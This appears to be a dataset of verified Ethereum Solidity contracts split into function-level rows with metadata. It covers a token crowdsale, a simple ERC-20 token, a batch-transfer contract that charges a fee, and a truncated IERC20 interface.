// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | endMainSale | function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
| // @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
12817,
13471
]
} | 59,891 |
|||
PepToken | contracts/PepToken.sol | 0xbb0ef9e617faddf54b8d16e29046f72b4d3ec77f | Solidity | PepToken | contract PepToken is StandardToken {
string public name = "PEP Token";
string public symbol = "PEP";
uint8 public decimals = 18;
uint256 public constant INITIAL_BALANCE = 45000000 ether;
constructor() public {
balances[msg.sender] = INITIAL_BALANCE;
totalSupply_ = INITIAL_BALANCE;
}
/**
* @dev Allow spender to revoke its own allowance
* @param _from Address from which allowance should be revoked
*/
function revokeAllowance(address _from) public {
allowed[_from][msg.sender] = 0;
}
} | revokeAllowance | function revokeAllowance(address _from) public {
allowed[_from][msg.sender] = 0;
}
| /**
* @dev Allow spender to revoke its own allowance
* @param _from Address from which allowance should be revoked
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://5938e1d8d855e7600c77ba5d3b26418e889e77baa21eb09c4480e86bfd9003b5 | {
"func_code_index": [
480,
581
]
} | 59,892 |
|||
TokenSender | contracts/TokenSender.sol | 0x2d71f1dbd218d21168ba5686a34b8300ebd562a2 | Solidity | TokenSender | contract TokenSender is Ownable {
// 小费地址,转账收取的小费均转到该地址
address payable public feeAddress;
// 单次转账小费,单位:wei
uint256 public fee;
// eth转账总额统计
uint256 public ethTotal;
// token转账总统计
mapping(IERC20 => uint256) public tokenTotal;
// 设置小费地址
function setRewardAddress(address payable _address) public onlyOwner {
feeAddress = _address;
}
// 设置小费
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
// eth批量转账
function ethSend(
address payable[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
// 单位:wei
uint256 transferTotal = 0;
// 计算本次批量转账需要的总的eth
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
uint256 total = transferTotal + fee;
// 本次交易发送的eth代币数量要超过手续费+转账费
require(msg.value >= total, "TokenSender: Insufficient balance");
// eth转账总额统计
ethTotal += transferTotal;
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
_addressList[i].transfer(_mountList[i]);
}
// 剩余的eth转账到小费地址
uint256 balance = msg.value - transferTotal;
if (balance > 0) {
feeAddress.transfer(balance);
}
}
// token批量转账
function tokenSend(
IERC20 tokenAddress,
address[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
require(msg.value >= fee, "pls pay fee");
// 计算本次批量转账需要的总的token数量
uint256 transferTotal = 0;
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
// 首先,将足够数量的token转账到合约[该方法需要msg.sender先approval]
tokenAddress.transferFrom(
address(msg.sender),
address(this),
transferTotal
);
// 如果存在小费就转账到小费地址
if (msg.value > 0) {
feeAddress.transfer(msg.value);
}
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
tokenAddress.transfer(_addressList[i], _mountList[i]);
}
// token 转账总额统计
tokenTotal[tokenAddress] += transferTotal;
}
} | setRewardAddress | function setRewardAddress(address payable _address) public onlyOwner {
feeAddress = _address;
}
| // 设置小费地址 | LineComment | v0.8.1+commit.df193b15 | MIT | ipfs://b5b631203a230758edd686e42d1bd2bf6f9a230561a1a30fa9ccb61d354d21ff | {
"func_code_index": [
290,
404
]
} | 59,893 |
||
TokenSender | contracts/TokenSender.sol | 0x2d71f1dbd218d21168ba5686a34b8300ebd562a2 | Solidity | TokenSender | contract TokenSender is Ownable {
// 小费地址,转账收取的小费均转到该地址
address payable public feeAddress;
// 单次转账小费,单位:wei
uint256 public fee;
// eth转账总额统计
uint256 public ethTotal;
// token转账总统计
mapping(IERC20 => uint256) public tokenTotal;
// 设置小费地址
function setRewardAddress(address payable _address) public onlyOwner {
feeAddress = _address;
}
// 设置小费
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
// eth批量转账
function ethSend(
address payable[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
// 单位:wei
uint256 transferTotal = 0;
// 计算本次批量转账需要的总的eth
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
uint256 total = transferTotal + fee;
// 本次交易发送的eth代币数量要超过手续费+转账费
require(msg.value >= total, "TokenSender: Insufficient balance");
// eth转账总额统计
ethTotal += transferTotal;
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
_addressList[i].transfer(_mountList[i]);
}
// 剩余的eth转账到小费地址
uint256 balance = msg.value - transferTotal;
if (balance > 0) {
feeAddress.transfer(balance);
}
}
// token批量转账
function tokenSend(
IERC20 tokenAddress,
address[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
require(msg.value >= fee, "pls pay fee");
// 计算本次批量转账需要的总的token数量
uint256 transferTotal = 0;
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
// 首先,将足够数量的token转账到合约[该方法需要msg.sender先approval]
tokenAddress.transferFrom(
address(msg.sender),
address(this),
transferTotal
);
// 如果存在小费就转账到小费地址
if (msg.value > 0) {
feeAddress.transfer(msg.value);
}
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
tokenAddress.transfer(_addressList[i], _mountList[i]);
}
// token 转账总额统计
tokenTotal[tokenAddress] += transferTotal;
}
} | setFee | function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
| // 设置小费 | LineComment | v0.8.1+commit.df193b15 | MIT | ipfs://b5b631203a230758edd686e42d1bd2bf6f9a230561a1a30fa9ccb61d354d21ff | {
"func_code_index": [
420,
501
]
} | 59,894 |
||
TokenSender | contracts/TokenSender.sol | 0x2d71f1dbd218d21168ba5686a34b8300ebd562a2 | Solidity | TokenSender | contract TokenSender is Ownable {
// 小费地址,转账收取的小费均转到该地址
address payable public feeAddress;
// 单次转账小费,单位:wei
uint256 public fee;
// eth转账总额统计
uint256 public ethTotal;
// token转账总统计
mapping(IERC20 => uint256) public tokenTotal;
// 设置小费地址
function setRewardAddress(address payable _address) public onlyOwner {
feeAddress = _address;
}
// 设置小费
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
// eth批量转账
function ethSend(
address payable[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
// 单位:wei
uint256 transferTotal = 0;
// 计算本次批量转账需要的总的eth
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
uint256 total = transferTotal + fee;
// 本次交易发送的eth代币数量要超过手续费+转账费
require(msg.value >= total, "TokenSender: Insufficient balance");
// eth转账总额统计
ethTotal += transferTotal;
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
_addressList[i].transfer(_mountList[i]);
}
// 剩余的eth转账到小费地址
uint256 balance = msg.value - transferTotal;
if (balance > 0) {
feeAddress.transfer(balance);
}
}
// token批量转账
function tokenSend(
IERC20 tokenAddress,
address[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
require(msg.value >= fee, "pls pay fee");
// 计算本次批量转账需要的总的token数量
uint256 transferTotal = 0;
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
// 首先,将足够数量的token转账到合约[该方法需要msg.sender先approval]
tokenAddress.transferFrom(
address(msg.sender),
address(this),
transferTotal
);
// 如果存在小费就转账到小费地址
if (msg.value > 0) {
feeAddress.transfer(msg.value);
}
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
tokenAddress.transfer(_addressList[i], _mountList[i]);
}
// token 转账总额统计
tokenTotal[tokenAddress] += transferTotal;
}
} | ethSend | function ethSend(
address payable[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
// 单位:wei
uint256 transferTotal = 0;
// 计算本次批量转账需要的总的eth
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
uint256 total = transferTotal + fee;
// 本次交易发送的eth代币数量要超过手续费+转账费
require(msg.value >= total, "TokenSender: Insufficient balance");
// eth转账总额统计
ethTotal += transferTotal;
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
_addressList[i].transfer(_mountList[i]);
}
// 剩余的eth转账到小费地址
uint256 balance = msg.value - transferTotal;
if (balance > 0) {
feeAddress.transfer(balance);
}
}
| // eth批量转账 | LineComment | v0.8.1+commit.df193b15 | MIT | ipfs://b5b631203a230758edd686e42d1bd2bf6f9a230561a1a30fa9ccb61d354d21ff | {
"func_code_index": [
520,
1630
]
} | 59,895 |
||
TokenSender | contracts/TokenSender.sol | 0x2d71f1dbd218d21168ba5686a34b8300ebd562a2 | Solidity | TokenSender | contract TokenSender is Ownable {
// 小费地址,转账收取的小费均转到该地址
address payable public feeAddress;
// 单次转账小费,单位:wei
uint256 public fee;
// eth转账总额统计
uint256 public ethTotal;
// token转账总统计
mapping(IERC20 => uint256) public tokenTotal;
// 设置小费地址
function setRewardAddress(address payable _address) public onlyOwner {
feeAddress = _address;
}
// 设置小费
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
// eth批量转账
function ethSend(
address payable[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
// 单位:wei
uint256 transferTotal = 0;
// 计算本次批量转账需要的总的eth
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
uint256 total = transferTotal + fee;
// 本次交易发送的eth代币数量要超过手续费+转账费
require(msg.value >= total, "TokenSender: Insufficient balance");
// eth转账总额统计
ethTotal += transferTotal;
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
_addressList[i].transfer(_mountList[i]);
}
// 剩余的eth转账到小费地址
uint256 balance = msg.value - transferTotal;
if (balance > 0) {
feeAddress.transfer(balance);
}
}
// token批量转账
function tokenSend(
IERC20 tokenAddress,
address[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
require(msg.value >= fee, "pls pay fee");
// 计算本次批量转账需要的总的token数量
uint256 transferTotal = 0;
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
// 首先,将足够数量的token转账到合约[该方法需要msg.sender先approval]
tokenAddress.transferFrom(
address(msg.sender),
address(this),
transferTotal
);
// 如果存在小费就转账到小费地址
if (msg.value > 0) {
feeAddress.transfer(msg.value);
}
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
tokenAddress.transfer(_addressList[i], _mountList[i]);
}
// token 转账总额统计
tokenTotal[tokenAddress] += transferTotal;
}
} | tokenSend | function tokenSend(
IERC20 tokenAddress,
address[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
require(msg.value >= fee, "pls pay fee");
// 计算本次批量转账需要的总的token数量
uint256 transferTotal = 0;
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位:wei
transferTotal += _mountList[i];
}
// 首先,将足够数量的token转账到合约[该方法需要msg.sender先approval]
tokenAddress.transferFrom(
address(msg.sender),
address(this),
transferTotal
);
// 如果存在小费就转账到小费地址
if (msg.value > 0) {
feeAddress.transfer(msg.value);
}
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
tokenAddress.transfer(_addressList[i], _mountList[i]);
}
// token 转账总额统计
tokenTotal[tokenAddress] += transferTotal;
}
| // token批量转账 | LineComment | v0.8.1+commit.df193b15 | MIT | ipfs://b5b631203a230758edd686e42d1bd2bf6f9a230561a1a30fa9ccb61d354d21ff | {
"func_code_index": [
1651,
2840
]
} | 59,896 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
94,
154
]
} | 59,897 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
237,
310
]
} | 59,898 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
535,
617
]
} | 59,899 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
896,
984
]
} | 59,900 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
